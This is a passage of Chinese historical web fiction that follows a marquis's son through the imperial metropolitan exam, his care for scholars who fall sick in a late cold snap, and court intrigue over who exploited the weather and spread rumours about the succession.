而此处住的都是进京赶考的举人,眼见春闱将至,所有人都在暗暗较劲,比谁睡得晚,比谁起的早,都觉得只要将对方比下去,自己考中的可能性就会高出许多。
这些与封砚初无关,他亦如往日在屋内读书,只听郑伟进来禀报,“郎君,有一个姓房的人来找您,是侯爷身边的方管事带来的,正在门口候着。”
“姓房?让人进来。”封砚初略作思索便吩咐将人带进来。
没一会,只见郑伟带着一人进门,那人约莫二十来岁,举止有度,明显是一副书生打扮。
那人进门便行礼道:“在下房思攸,拜谢封郎君大恩,贸然上门还请见谅。”
封砚初连忙上前将人扶起,又让了坐,心里大致已经猜出来了,“你叫房思攸,那房思源是你什么人?”
房思攸落座后,垂头丧气道:“正是家兄,三年前进京赶考,竟一去不返,杳无音讯。家里着急也曾派人进京来寻,这才得知兄长不仅没参加会试,就连京城也没来,随行的两个仆人也不见踪迹,虽有不好的猜测,但毕竟没找着人,心中仍期盼还活着。若不是你在贼人之处意外发现我房家之物,又报了官,只怕我兄长此生都要曝尸荒野,含冤而死!”说话时又拱手致谢。
“好在天理昭昭,终让恶人伏法,然逝者已逝,还请房郎君节哀。”封砚初也没想到房家人竟找了这么久,“那令兄的遗骸可有找着安葬?”
“那两个贼人用药迷翻我兄长与仆人,将人杀害后曝尸荒野,致使野兽啃食,找到之时只剩皑皑白骨,早已分辨不出哪副是兄长的,哪副是仆人的,只能葬在一处。”
“原本去年就要上京致谢的,可父母得知此噩耗长病不起,在下只能在家侍奉双亲,这才晚到还请见谅。”房思攸提起贼人就恨得咬牙切齿,他兄长为人正直,读书颇有天赋,是一家人的希望,可却落到那步田地。
封砚初心中怅然,“丧子之痛,如何承受的起,令尊令堂如今身体可康复了?”
“已经好多了,毕竟兄长膝下还有一双儿女还未长成,如何放心的下。”
“我观房郎君亦是读书之人,此次进京可是参加会试?”
自从房思源活不见人,死不见尸之后,房父便逼着房思攸读书,去年才得中举人,也幸亏考的早,否则必定受影响。
“在下去年乡试侥幸得中,此次进京正好参加会试。”随后又让仆人将谢礼拿进来,“这点东西还请收下。”
封砚初连忙推拒,“本就是那两人心思不正,我也是侥幸发现不妥之处,报官也是为了自身,实在不必如此。”
房思攸站起身拱手道:“还请封郎君收下,这也是我父亲的一点心意,不为别的,就为我兄长的遗骸能被收殓。”
他长叹一句,“好吧,如此我就收下了。”两人又说了一会话,便散了。
“郑伟,进来将东西收起来吧。”封砚初指着桌上的礼品吩咐。
“好嘞,郎君。”郑伟手里提着东西,终究还是没忍住问道:“我听方才那人姓房?”
封砚初唏嘘不已,“隆安寺那刘、王二人三年前害的就是他的兄长,房思源本来进京赶考,路上碰到这二人,又不慎露了财,不仅被杀害,还弃尸荒野,可怜房家父母白发人送黑发人。”
“那两人如此凶残,那郎君你当时还继续留在隆安寺。”郑伟之前只是隐隐约约知道这二人可能涉及人命案,没想到手段如此恶毒,那他家郎君当时岂不是很危险!
“想杀我?还得看他们有没有这本事,再说我父亲毕竟是武安侯,他们不敢!”封砚初瞅着郑伟一副八卦的样子,挥手道:“愣着干嘛,还不赶紧将东西拿下去,我要读书了!”郑伟赶紧提着东西出去了。
之后的日子,他依旧努力苦读,直至前一日才返回武安侯府。
因为第二天便是会试之期,整个侯府都在为封砚开与封砚初二人忙碌着,封简宁细细说着此次主考官的性格与喜好,这是早就打听好的。
此次会试一共考三场,共九天,每场结束可以休息一日,直至最后一场结束。
当兄弟二人赶往贡院时,马车早就被远远堵住,只能下马步行前往。
这是封砚初第一次真正见识到春闱的场景,比去年他参加乡试不知大了几倍。原本以为自己出发的已经够早了,没想到贡院门口的队伍犹如长龙一般望不到头,耳边响起不同的方言,那是各地的举人。
真正第一场考试是在第二日清晨开始。今日是所有考生接受严格的搜查,然后才能进入贡院,并找到自己的号舍,当晚就在那里过夜。
人永远抱着侥幸的心理,总觉得不会被发现,总觉得自己是最特殊的那一个,不到半个时辰,就已经查出五人藏匿小抄,直接在众目睽睽之下被拖走。
门口检查的官员不停地警告,“但凡作弊者,一旦被发现,不仅今生再也无法科考,而且还要被剥夺功名!并游街示众!诸位可要想好了,再进此门之前还有后悔的机会!”
“不要抱着侥幸的心理,觉得自己手段高明不会被发现!本官不知见过多少五花八门的作弊手段,想瞒过本官,那是妄想!”
这话并非无用,起码封砚初身后之人把鞋子割开后,将里面的小抄丢弃。
“我的天,居然还可以这样?”他虽然在博物馆见过不少作弊之物,可真正亲临现场,还是震碎三观,真是想什么办法的都有。
第一百一十七章 也不知他们冷不冷
封家兄弟二人在贡院里为前程奋斗,贡院之外的武安侯府也是全家紧绷。
这日,天还未亮,老太太早早的就醒了,青梅听见声音立即披上衣服上前轻声唤道:“老太太?可是醒了?”
“睡不着,掌灯吧!”
青梅连忙用火折子将屋内所有的烛火一一点亮,老太太屋里的灯亮了,下人们也只能打着哈欠起床。
“老太太,小心着凉,奴婢先服侍您穿衣吧!”
因初春晚上还是有些寒凉的,所以老太太屋子里的炭火半夜并不熄灭,她摇头道:“先不急,先烧壶水沏一盏茶。”
“是,老太太。”青梅已经穿好了衣服,又出门吩咐值夜的婆子后进来,“老太太,可要躺一会?”她还是担心对方着凉。
老太太叹气道:“昨夜我听了一晚上的风,外头必定降温了,屋子里烧着火又怎会冷,我是担心大郎和二郎,他们兄弟两个还在贡院,那号舍连个挡风的门都没有,也不知他们冷不冷。”
青梅安慰道:“世子和二郎君去贡院的前一日,奴婢特意去瞧了,大娘子准备的很妥帖,一应吃食衣服都是备齐了的,被子也厚实,还带了防寒的皮毛长裳。”
“你如何懂,他们自小养尊处优,怎能比得上那些摔打惯了的贫寒学子,万一着了风寒……”老太太说到这里觉得不妥连忙道:“呸呸呸,岂不影响?一想到这儿,你让我如何睡得着,现在几更天了?”
青梅仔细看了铜漏道:“现在是寅时刚过半,还有一个时辰天才亮。”
老太太心里算了时间,按往日再过半个时辰也就醒了,便吩咐道:“已经五更天了,卯时也该起了,先更衣吧。”
(寅时:凌晨3点——5点;卯时:早晨5点——7点)
于此同时,武安侯府内,另一个人也起床了,那就是四郎封砚安。
自从开年之后,所有人都在操心大郎封砚开与二郎封砚初会试的事情。除了姨娘方氏与同胞的二妹之外,竟无一人在意,他今年也要参加府试与院试。
作为四郎的大丫鬟清蝉,也不得不起来,她先服侍四郎君洗漱,然后将火炉弄旺一些,最后再收拾床铺,铜壶内的水开后,正好到卯时,便可以沏一杯养生茶。等这一切做完之后,天正好就亮了,不过幸好轮到她守夜之时才如此。
到了卯时末,四郎用过早饭,就要去学塾上学。自从大郎与二郎备考以来,堂兄封砚明每日被二叔盯着在家读书,所以去上学的也只有三郎与他。到了门口稍作等待,就瞅见睡眼朦胧的三郎,对方几乎每日都会晚来一会儿。
坐上马车之后,三郎会在心中默算一下,然后唉声叹气道:“唉,还有五日才是休沐。”
而四郎则是在心里默默背书,并不搭理。父亲心里眼里只有大哥和二哥,但他也想向父亲证明自己也可以,只要努力将来不会比他们两个差。可即使他努力读书,也只能勉强跟在身后,看着两人的背影。
自从去年二哥回来乡试,他将自己写好的策论拿给对方看。原本以为即使不够出彩,但也不会太差。可没想到二哥迅速看完后,就指出许多不足之处。
当时他看二哥侃侃而谈的样子仿佛在发光,也愈发认识到两人之间的差距,从那以后便发誓,他要比别人更刻苦。
三郎没等到回复,抬眼看过去,四郎果然在背书,他忍不住吐槽着,“我看你真是学魔怔了。”
就在所有人的忧心之下,天愈发冷了,到最后两天甚至飘起了小雪。直到考完最后一场,武安侯府的马车早早的就停在贡院门口等着了。
随着贡院的门被打开,学子们从门内一涌而出,因为天气的缘故,许多人都病了,甚至还有学子是被抬出来的。
只能说幸亏家里条件好,准备的也充分,封砚初并没有生病,他可是眼睁睁看着斜对面的考生,在最后一日直接晕过去了,别说考试,能保住性命就不错了。
出了贡院,寻觅了好一会儿,才看见自家马车,而白管家也远远的招手示意。
“哟,白管家!你怎么亲自来接?”封砚初走近调侃道。
白管家笑着将人往上请:“这可是咱家的大事,小的自然要亲自来接您和世子,这些天可冻坏了吧,赶紧上马车暖和暖和。”
封砚初一进马车里,‘轰’的一下,热气扑面而来。没一会儿,就听见一阵咳嗽,大郎封砚开也到了。
他赶紧,掀帘让坐,“大哥,快进来!你怎么咳了,是喝了冷茶吗?”
‘咳咳咳!’
要说冷,封砚开倒觉得还好,只是吸了凉气,到最后一日竟有些咳,“没有,估计是吸了些冷气。”
两人刚回府,孙大夫就已经等着把脉了。
“如何?”老太太紧张道。
孙大夫略微松了一口气,“二郎君身体康健,只是世子稍感风寒,又凉气入体有些咳嗽,好在症状较轻,调理一番即可。”
“那就好,那就好!”大娘子虽放松心神,但依旧不放心,嘱咐近身伺候的下人,“晚上你们仔细照顾,大郎和二郎若有事,即刻使人叫我!”
天气骤变,生病之人不在少数。像武安侯府这种家里就有大夫的人家可不多,好些学子都是从地方进京赶考,所以一时之间可忙坏了京城的大夫和药铺。
封砚初身体无碍,毕竟在隆安寺住了好长时间,自然也想到了他们。
次日,便带着配好的药去了隆安寺。
只能说幸亏去了。谢鹤川倒还好,只是有些咳嗽;江行舟与元康二人已经开始发热,只是一时之间寻不到大夫,只能硬扛。
“咳咳咳,二郎,你来啦!”谢鹤川自己咳嗽着,还要带病照顾其余两人,所以在见到封砚初时,内心十分欢喜。
封砚初匆忙进门,“他们怎么样?”
谢鹤川很担心元康烧坏了脑袋,“行舟还好些,是今早才开始发热,元康昨晚就发烧了,我给煮了些姜茶,可用处不大。”
封砚初把完脉,安抚道:“别担心,看来我这次带来的药都对症,你去熬药,江郎君还可等一等,元康再烧下去那可就真出问题了,我先给他刮痧退热。”
“啊,哦,我这就去!”整个过程,谢鹤川直愣愣的,他没想到封砚初竟然还会医术,只能感叹到底是侯府出身,会的可真多。
第一百一十八章 是谁利用了这场倒春寒
刮了痧,喝完药之后,没多久便开始退热。
等着两人安稳下来之后,封砚初这才开始为谢鹤川诊治,他的症状是三个人里头最轻的。
封砚初从带来的药中挑出对症的交给对方,“你虽然症状较轻,但咳疾不可小视,若拖延引发肺疾就不好了,这三副药每日煎一副,一日三次,餐前服用。”
谢鹤川拱手郑重道:“二郎,多谢,若是没有你,我实在不知怎么办,这几日气温骤降,许多人都生病了,我就是想请个大夫都没地去。”
“是啊,谁能想到最后两日竟然下起雪,很多举子都是由南至北,进贡院也没来得及准备御寒的衣物。”其实这话都是封砚初美化了。
在古代,对于普通人家来说一件衣裳也是财产。尤其在寒冷的冬季,北方最是难熬,好多人连一件棉衣也没有,即使是江行舟这种家中不愁吃穿之人,身上穿的也只是御寒的纸衣。
这也就是为何诗中有‘朱门酒肉臭,路有冻死骨’之句,食物好寻,却没有柴火和棉衣过冬!如今的大晟比起乾朝已经好上太多了,起码朝廷将安怀国打散为三个部落,并占取了晋西与晋北草原为大晟养马,而朔川虽然荒芜,那里却有丰富的石碳矿。
正所谓,柴米油盐酱醋茶,柴排在首位,做饭要用柴,取暖也要用到柴,所以朔川解决了朝廷一部分的柴慌。
就在两人说话之际,响起一阵敲门之声,原来是纪闻道裹着衣服,站在门外。
“纪郎君?快进来!”谢鹤川有些诧异,连忙将人请进来,“这么冷的天你不在屋里待着,怎么来我这里?”
纪闻道大吐苦水,“自从发生那件事之后,那个院子如今只剩我一人住着,今早起来就浑身发冷,喝了谢兄送来的姜茶才略微好些,我这不是闻见一股子药味,无奈上门打扰。”
封砚初看对方脸色潮红,明显发烧了,“我为你诊诊脉。”说着手已经搭上纪闻道的手腕。
“与江郎君一样,都是风寒。”只能说幸亏这次带的药比较多,又分给对方三副中药。
谢鹤川见状道:“你那里连个药罐子都没有,索性在我这里一起煎了。”
纪闻道感动不已,觉得要不是谢鹤川惦记着,送来姜茶,要不是封砚初赠药,只怕自己死在那里好几日都没人知道,于是连忙致谢,“多谢封二郎君,多谢谢兄!”
而封砚初却注意到住在隆安寺里的学子,大多都是家境寻常的,此次气温骤降,恐怕准备的也不妥当,眼前四人都是如此,其余人估计也好不到哪去。
本着能帮则帮,起码能救人一命的想法,问道:“你们都已经生病了,其他人也一样,这里还剩下一些药,我去瞧瞧他们。”
谢、纪二人一起拱手道:“此乃大德,谢/纪某拜服!”
封砚初也回礼道:“不敢当,封某身为大晟子民,更是读书识礼之人,只要有余力就不会袖手旁观,想必今日无论是谁,都一样。”
出了屋子,他与暮山挨个敲门,有的身体强健并未生病,有的症状轻一些,不过都是读书人,见他上门问询,纷纷致谢。
这期间还碰见已经躺在床上起不来的,只能说幸亏他去了,否则真就一病呜呼了!诊治之后,又留下药材和钱财让寺内的僧人帮忙照顾。
做完这一切的封砚初,回到武安侯府之时,天色已经完全暗下来了。
“二郎,不是送一趟药吗?怎么这么晚才回来?”老太太和大娘子见他没回来,便一直等着。
他并未回答,而是说道:“可还有饭?”
“有,有,有。”大娘子连忙吩咐下人去厨房。
老太太却道:“怎么都到这会了还没吃饭?”
封砚初这一整天可以说是连轴转,差点没赶上时间进城,他喝了几口热茶,这才觉得舒服一些,“幸亏我去了,于我熟识的几个就有两个躺在床上起不来,一个自己咳嗽,还要带病照顾其余两个,另一个也是发着高热,我便留下来帮了一会忙,然后又将多余的药材,赠予租住在隆安寺里其他生病的学子。”
“看来这次会试生病的人很多啊!咱家还算有些余力,能帮便帮一些,这是好事。”老太太也是一阵唏嘘。
“对了,大哥怎么样了?”封砚初离开侯府之时,对方正睡着没起呢。
“我去瞧了,好多了,没有昨日咳的厉害了,不过想要彻底好全,还得些日子。”在这些事情上,大娘子从来做的都很周到。
说话间,饭菜也被提了上来,就在封砚初正吃的时候,父亲封简宁从门外进来。
“怎么这会才吃饭?”封简宁也是忙了一日,正觉腹中饥饿,“给我也拿一副碗筷。”
“怎么你也没吃呢?”大娘子还以为夫君已经在衙门用过饭了。
“今日朝堂之上,陛下发了好大的火,将钦天监监正训得是狗血淋头。自昨日会试之后,生病的学子不在少数,陛下都将太医院的太医都派出去了,并免费为生病学子提供药材,就这大夫都不够用。”封简宁也不讲究什么食不言的规矩,直接在饭桌上就说起来。
“这么严重?”老太太也没想到,一时有些吃惊。
“可不是,这是自大晟建朝以来第二次发生这种事,已经有学子因此丧命了!如何不严重?”封简宁在吏部也是忙到飞起,所有人都在关注这件事,诸位官员哪里敢在这个档口踩点离开,这不是找死吗?
封砚初立即意识到另一件事,“父亲,你说若此事没处理好,当如何?”
封简宁放下筷子,长叹一声,沉重道:“那就严重了,闹不好……”
“此事若处理不好,只会让天下之人猜忌陛下,甚至引起朝政动荡。觉得是陛下未能早立国本,才使上天降怒。弄不好,陛下还要下罪己诏。”封砚初说到此处,略作沉吟,“看来钦天监监正的命是保不住了,毕竟必须有人需要担责,若说这背后没人算计,实在让人难以相信。”
他看向对面那个已经陷入沉思之人,问道:“父亲,你说到底是谁利用了这场倒春寒?”
第一百一十九章 将来必定是一位明君
父子之间的话涉及朝政,一时之间,就连老太太和大娘子也不敢发出声音,静静的等待着答案。
过了好一会,封简宁才回过神来,摇头道:“猜不出,目前无论是大皇子,五皇子,还是九皇子,他们之间的势力保持一种很微妙的平衡,陛下不会主动打破。”
封砚初也思索起来,“如此说来,那就不是这三位皇子了,因为他们没有把握胜过对方,难道全凭陛下心意不成?若陛下的心是这么好琢磨的话,他们也不至于斗了这么多年,都没能登上储位!”
封简宁觉得儿子说的很有道理,连他都没发现,自己下意识的靠近了对方一些,“那你说是谁?”
封砚初摇头道:“猜不出。”随后指着一个盘子,“这是现在的朝堂,三人势力都混杂其中。”紧接着夹起其中一块,放到盘子外面,“陛下自然不会如此,所以我更疑心是除了这三位皇子之外的一方势力,只是目前没人知道罢了,或者说是你们不知道。”
气氛一时有些凝重,而封砚初看了看时辰,竟然不早了,于是朝众人行礼告辞。他是走了,可却将问题留给了其余人。
“二郎什么时候懂得这么多了?”说这话的是老太太,在她心里二郎只是比以前稳重了,知道努力上进罢了。
“是啊,先不说今日的分析对不对,可实在让人震惊,他何时懂这些了?”大娘子心中也受到震荡。
封简宁却觉得儿子比以前更有进步了,“我却觉得,没准二郎说的是对的,估计上面已经猜到了,所以陛下才会如此生气。”
皇宫,勤政殿。
景和帝脸色难看。
玄麟卫指挥使耿云志,副指挥使娄遥,两人垂着头。刑部尚书安大人,大理寺卿唐承亦如此。
“在大晟,在朕的眼皮子底下,竟然有人在背后搅弄风云,你们还不知道!查!给朕彻查!钦天监所有人都要查!监正和副监若参与其中,按大晟律法办!若为人胁迫或者上他人之当,也留不得,他们必须给天下学子一个交代!”
“属下遵命!”
“臣遵旨!”
“还有,此事礼部不可能一点都不知道,吏部没准也有牵扯,只是如今会试才过,之后还有殿试,以稳为要,先秘密探查!”
“是!”
等其余三人都走了以后,玄麟卫指挥使耿云志并未离开,他将提前备好的密录本恭敬地呈上。
景和帝这才打开翻看,上面竟是所有皇子近期的行动,直到看到六皇子,这才问道:“老六一直留在城外皇庄,并未回城?”
耿云志拱手道:“是,陛下,确实如此。六殿下身边的暗探回复一切正常。除了每日狩猎,便是巡视皇庄,还查出管事贪腐压迫农户,更有人命在手,六殿下已经交给刑部处置,至于情况较轻的也交由内务府处置。”
“嗯,你去吧!”
过了一会,江荣海躬着腰进来,“陛下,顾泽在外候着。”
“让他进来。”
“属下,顾泽参见陛下!”顾泽的祖上其实也是世族出身,奈何犯事被太宗下令株连,幸而太宗仁慈,念及族中亦有孤幼,这才赦免。
“嗯,起来,如何?”
“陛下,属下已查清,虽然西戎暂无犯边之意,但已于本月初吞并了卓哈部,卓哈汗还未来得及向大晟求救,就已被杀。而早已臣服的安怀部隐隐有倒戈之意。”顾泽乃是玄麟卫副指挥使,只是他主要负责周边属国的探查。
“边疆不稳,朝中又发生这样的事,弄不好大晟有人与之勾结,顾泽,你亲自走一趟北边,必要时让邢勉配合你!”
“是!”
景和帝挥退顾泽,心中涌起愁闷,遥想太宗年间是多么风光。可如今呢,除了封家是受太宗之命从文;其余几家都是因为这些年战事渐少弃武从文,比如原来的唐家,安家,汪家后人,薛家也因当年搅和进夺嫡被贬败落。
如今朝中能真正打仗的良将竟然只有孙知微和刑勉,可邢勉已经上了年岁,他在北边还能支撑多久呢?若非如此,他也不会同意薛荣祥的试探,让其徒弟进入京西武备营。
“朝中若多些良将,朕怎会任由西戎扩张,安怀倒戈!”景和帝轻揉额头,语气里满是不甘心。
思及现在为储君之位,争夺不休的几个儿子,难免又想到先太子,“我的二郎啊!多好的孩子,若非体弱,以其聪慧机敏,将来必定是一位明君!”
每到此时,江荣海就恨不得变成聋子哑巴。作为侍奉陛下多年的人,他很清楚陛下之所以暂时未立储君,固然因为朝局,更是觉得几位皇子都不行,
大皇子虽然在朝中经营多年,可为人自私自利;五皇子本人更善文,身边多是文臣,若来日真登上那个位子,那大晟的武将岂不是更加势微;老九虽说嫡出,可年岁太小看不出来。
这也是为什么陛下时不时思念先太子的原因,就是活着的时候,将其余皇子的光芒全部掩盖,奈何慧极伤身,最终还未到弱冠之年崩殂。
第一百二十章 剑拔弩张与兄友弟恭
事情果然和预料的一样,京城竟传出此次学子考试,天气骤变,就是因为陛下对储君之位迟迟没有决断的缘故。
然而这个言论一出,大皇子,五皇子两人赶紧进宫请罪,就连年幼的九皇子也被皇后下令同去。
其中两人都在怀疑是不是对方搞事,连累自己,所以几人即使跪在那里也不安分,互相攻击。
“你是蠢吗?这事怎么可能是我做的!”五皇子其实觉得是有另一只手搅弄风云,他从来没有怀疑过在场的大皇子和九皇子。
大皇子脸色难看,“我是你的皇兄,你竟出言辱骂我!再说我怎么知道不是你浑水摸鱼!”
五皇子懒得搭理,转头看向九皇子,“不过,九弟,你怎么也来了?”
九皇子听了好一会两位皇兄互相攻击,这会儿被猛然发问,一时竟有些反应不过来,盖因大皇兄对他从无好脸色,五皇兄倒是和煦,可也是能不搭理他就不搭理。
“是母后让我来的。”
这句话竟引得二人笑起来,尤其是大皇子,“我说老九啊,你如今也九岁了,怎么还是皇后娘娘这么说,你怎么做啊?”
五皇子语气倒是缓和,看着像是劝诫,“九弟,你是皇子,做事确实要有自己的主见,不可事事都听别人怎么说。”
勤政殿。
景和帝问道:“那三个在外面如何?”
江荣海早就前去问了,“回陛下,三位殿下在说话。”
景和帝冷哼一声,“那是说话吗?那是互相谩骂!让他们都滚!我不想见到他们三个!”三人之间的行为,使得他更加失望。
江荣海刚出来,大皇子与五皇子几乎是齐声道:“父皇可答应见我了?”两人说完又嫌弃地互相瞪了对方一眼。
江荣海脸上挂着笑,先是行了礼,然后才说,“三位殿下都起来吧,陛下让你们先回去。”
“江公公,劳烦你进去说一说!”
“江公公!父皇怎么可能不想见我们!”
“江公公,那我便回去了。”
“请吧,三位殿下。”江荣海依旧笑着,也不给三人任何机会,说完这话,便头也不回的走了。
九皇子年幼,还住在宫里,听了吩咐径直离开。
大皇子与五皇子两人不睦,互相冷哼一声,也出了宫,只是才出宫门,就碰见了吉隆吉大人!
“臣,吉隆,参见陛下。”吉隆是带着奏疏进来的。
“免礼,外头的情况调查的如何?”
吉隆高举奏疏说道:“臣已经查清,这是奏疏,请陛下御览。”
“既然已经查清源头,那便抓吧!此次参与进来的学子,若有录名者一律罢黜,由后续学子补上!”景和帝没想到竟然还有赴考的举子掺和其中,虽说是被利用,但亦不可用!
“是,陛下!”吉隆拱手领命。
“还有,这些搅和进来的举子,即使以后参加会试也一律不许录用!”对于这些搅和进来的学子,景和帝打算冷处理。
“是!”
“下去吧!”
直到吉隆离开之后,景和帝这才感慨,“还是吉家的人忠心好用啊。”他的视线看向宫外,眉眼间升起凌厉,“可恶的是,竟然有人趁机浑水摸鱼!朕还真没想到你居然也有问鼎之心,从前隐藏的当真是好,连朕都被瞒过去了!”
而发生的这一切,都与封砚初无关,他此时正在探望兄长封砚开,与宫里的几位皇子相比,封家兄弟几人可称得上是兄友弟恭。
“今日瞧着咳疾好了一些。”
封砚开放下手中的书,抬眼看去,“二郎来啦,快坐,霁红上茶!听说你次日去了一趟隆安寺?”
“嗯,住在城内的有大夫,有朝廷指派的太医,城外却没这么好的条件,幸亏我去了,否则便有两条人命熬不过去了。”封砚初此时仍有些唏嘘。
“我也听说了一些,因此次倒春寒病倒之人不在少数。只能说幸亏我生在咱们这样的人家,否则就不单单只有咳疾。”封砚开这两日因为咳嗽连门都没出,但还是有消息传入耳中。
“既然病着,就不要看书了,免得劳心费神好的慢,大哥也要好好保养,后头还有殿试呢。”封砚初发现他每次来找大哥,对方几乎都是在看书。
“四弟和堂兄今年要参加童试,我自己找了一些策论,再问你要些给他们送去。”因为最近几个月忙着备考,他还没看过四郎的功课,若还是去年他看到的策论水平那是别想了。
封砚开听后竟有些惭愧,这些日子一直忙自己的事情,还没注意过,起身道:“我给你拿,希望他能一举考中童生,秀才。”
封砚初还是将之前教导四郎的情况说了,“我去年回来参加乡试,当时瞧了四弟的策论还有欠缺,这段时日还没去看呢,想来应该有所精进。”
封砚开手上动作未停,没一会儿就已经找出好多来,“我虽未关注,但也听人说,他在读书上异常刻苦,但愿不要辜负了这番苦读。”
兄弟二人闲谈几句之后,他就拿着策论离开去了四郎之处。
也是今日恰逢休沐,封砚安也在。他正在投入读书,忽然听见有人喊了一句,“四弟。”
“二哥!你怎么来了?哦,哦,快进!”不知为何,自从去年二哥教过之后,他每次碰见对方就有些局促,甚至还会紧张。
封砚初仿佛没发现一样,将手中的策论递过去,“这是大哥和我写的一些策论,虽比不上那些大家,但也不至于太次,起码考秀才是绰绰有余了,你拿去看一看。”
封砚安连忙双手接过,“多谢二哥,也谢谢大哥。”
封砚初原本还想同对方说两句话的,见状也只放下策论就走了,连清蝉端上来的茶都未来得及饮一口,径直去了堂兄封砚明之处。
第一百二十一章 谣言是谁散播的
封砚初去的时候正好看见二叔封简言手里拿着戒尺,守在堂兄的门口骂骂咧咧,“你说说你,眼见着要娶妻的人了,每日读书还要我三催四请的!你不是我儿子,都快成我祖宗了!”
婶娘温氏在一旁推了对方一把,“有你这么说儿子的吗?”然后又让丫鬟端点心倒茶。
二叔暗暗翻了个白眼,“要我说,你就是他读书路上最大的绊脚石。”
看着眼前这一幕,不禁让封砚初有些尴尬,退也不是,进也不是,恰好丫鬟饴糖看见他,连忙行礼,“二郎君。”
婶娘立即换了一副表情,笑道:“二郎来啦,你堂哥正在屋子里读书呢。”
二叔连身都没起,看向侄子的眼神中带着些许羡慕,“二郎,你这才考完,不说出去玩儿,怎的到这里来瞧你那不争气的堂哥。”
封砚初上前见了礼,“侄儿给二叔,婶娘请安,这不想着堂兄今年要参加童生试和院试,便带来一些策论给他,也可以借鉴一二。”
二叔伸手拿去,大致翻了翻,随后啧舌道:“这是大郎和你的吧,写的真好,若是那臭小子有你这个功底,我也不用守在这里了。”
他刚才就看这一幕很奇怪,终于问出口,“二叔,堂兄这是?”
二叔这才反应过来,“哦,这不是眼看着要参加童生试,我便让他模拟在贡院里考试的情景。”
“哦,哦,这样啊,可这……”封砚初实在无法评说,竟是如此模拟之法。
二叔仿佛找到了理解他的人,大吐苦水,“你说说你婶子,在贡院考试,哪里有丫鬟送吃送喝的!我说不让吧,她还说又不是真的在贡院,有什么要紧。”
婶娘不好意思道:“别听你二叔胡说。”随后从对方手里拿过策论,重新递给封砚初,“你快进去找明儿吧。”
封砚初进去后,果然瞧见堂兄咬着笔头,正在苦哈哈的写诗,看到他的那一刻眼睛都亮了,“二郎,我父亲放你进来了!”
他凑过去拿起桌上的诗,只见上面写着:‘春溪晓行:溪烟水蘸晴柔,两岸新莺竞巧喉。最爱浅滩青石上,落花闲数白鹅游。’
“倒是写出了观景从容之心境。”
堂兄却皱眉道:“方才我父亲瞧了,说是写的太悠闲了,应以景咏物,表意才好。”
封砚初略作思索,“既然是春日,又要表达寓意,当然是……”
说话间提笔写下:《春耕》:犁破春泥到夏阳,稻花风里汗千行。秋来仓廪如山积,不坻朱门一斛香。
他写完第一首之后,略微摇摇头道:“不妥,若是私下里写到无妨,只是面对科考恐怕考官不喜,不可取!”
说罢又写一首:溪南溪北水声潺,蓑影扶犁破晓烟。一晌新秧青到垄,鹁鸪啼雨又晴天。
“此乃春耕繁忙之景象,更有表达大晟家国之繁荣昌盛。如此既有表意,考官也会更喜欢一些。”
堂兄见封砚初不过略作思索便写了两首,既钦佩对方的才能,又感叹连科考写诗也这么多门道。随后拿起诗作,边看边摇头道:“唉,没想到只是一个简单的写诗,就有这么多门道,若来日真的得中进士,官场之中只怕更复杂!”
话音刚落,二叔的声音就从门口传来,语气中满是对儿子的嘲讽,“少给自己脸上贴金,还中进士,你且先通过眼前的童生试再说!”
封砚初连忙打岔,将一旁的策论递给堂兄道:“对了,我是来给你送策论的,你且先看看,想来能用得上,那我就不打扰你用功了。”说完便出了屋子。
二叔的表情不见半点担心,反而说道:“二郎,幸亏你来,否则这小子还猖狂的以为,区区童生试轻松拿捏了!”
“侄儿瞧着堂哥还是很认真的。”此情此景,封砚初并不想多待,便拱手告辞,“二叔,那侄儿就先回去了。”
二叔十分可惜,他整日盯着儿子读书,无聊的紧:“那行吧,我还想着好容易来,咱俩好好说说话呢。”
直到封砚初走出很远,依旧可以听见二叔怒吼的声音,“还不认真写!你要是考不中,对得起我这几年的光阴吗!”
城外,皇庄。
六皇子心情很好,因为就在刚才,玄麟卫的人亲自将陈茂才抓走了,而他又将皇庄里的人重新梳理了一遍,此刻只觉得空气都变得香甜了。
李延见六皇子一整天嘴角都没落下,“殿下,心情很好?”
六皇子瞟了一眼对方,“自然,玄麟卫替我处理了陈茂才,贵妃不仅说不出一句不是,估计还得亲自向父皇解释。将这个蠢货安插在我身边也就算了,还贪财的很,什么钱都敢收!”
李延亦笑道:“没了这个钉子在,您做事也会方便许多。”
没想到六皇子听了这话,神情竟变得严肃起来,摇头道:“方便?我看不然,你虽察觉陈茂才不对劲,可还没来得及布置,父皇就知道了。”他看向门外那些守着的侍卫,目光幽深,“所以,这些人里头必定有父皇安插的眼线。”
李延变了脸色,门外那些侍卫,几乎都是与他朝夕相处之人,那是互称兄弟的,他审视着每一个人,努力回忆着,可依旧没有答案,“殿下,那怎么办?陛下是否已经发现您……”
余音未尽,可六皇子听出后头的意思,“我也不知道,不过既然父皇未明说,未阻止,那就是默许的意思吧。只是我到现在依旧未能猜出到底是谁利用这场倒春寒,又是谁趁机浑水摸鱼!”
“难道不是大皇子他们吗?”李延一直以为是那些皇子争权夺位导致的。
六皇子嘴角浮出一抹意味不明的笑,“自然不是他们,他们用此逼迫父皇有什么用?若真的逼迫成功,难道就能料定父皇肯定立自己为储君?”
“那后头的谣言是谁散播的?难道与利用倒春寒是一伙的?若真如此的话,必定是为了引起京城动荡,真是其心可诛!”李延虽然是六皇子的人,但他心里仍旧是将大晟放在第一位,而这也是六皇子欣赏他的一点。
六皇子摇头道:“利用倒春寒之人,我疑心与北边有关,而散播流言之人是想浑水摸鱼,他们不是一起的,只是我还未想透是谁。”
第一百二十二章 急死人,还不快说
虽然景和帝一直是低调查办,处理,可京城中的气氛还是让人紧张。
随着时间的流逝,杏榜也要公布张贴,众人的视线都被拉到这件事上,反而让之前的事情降了温。于此同时,钦天监监正,副监正,以及礼部侍郎,吏部侍郎等十几人被抓。
原本今日乃是看榜之日,封简宁也特意在家等着,与众人的忐忑相比,他多了些沉重。
陛下隐忍多日,终于在今日发作,直接在早朝上将人捉拿,于此同时三皇子被禁足。
他甚至还记得十几天之前,在衙门之时,吏部侍郎那得意傲慢的模样,一直以为对方是一个不为权贵低头,不左右逢源的直臣,没想到私底下收受贿赂,将一些有问题的人,安排到不该在的位置上。
早朝之上,刑部尚书安大人与大理寺卿唐承直接上书,并且呈上证据。
景和帝连看都没看,直接道:“将奏疏拿给我们的吏部尚书和吏部侍郎看看。”
吏部尚书其实也参与了分钱,只是直接过手的却是吏部侍郎。
所以吏部尚书看完之后立即请罪,“还请陛下恕罪,是臣御下不严,监管不当,竟让吏部出了这样的败类!”
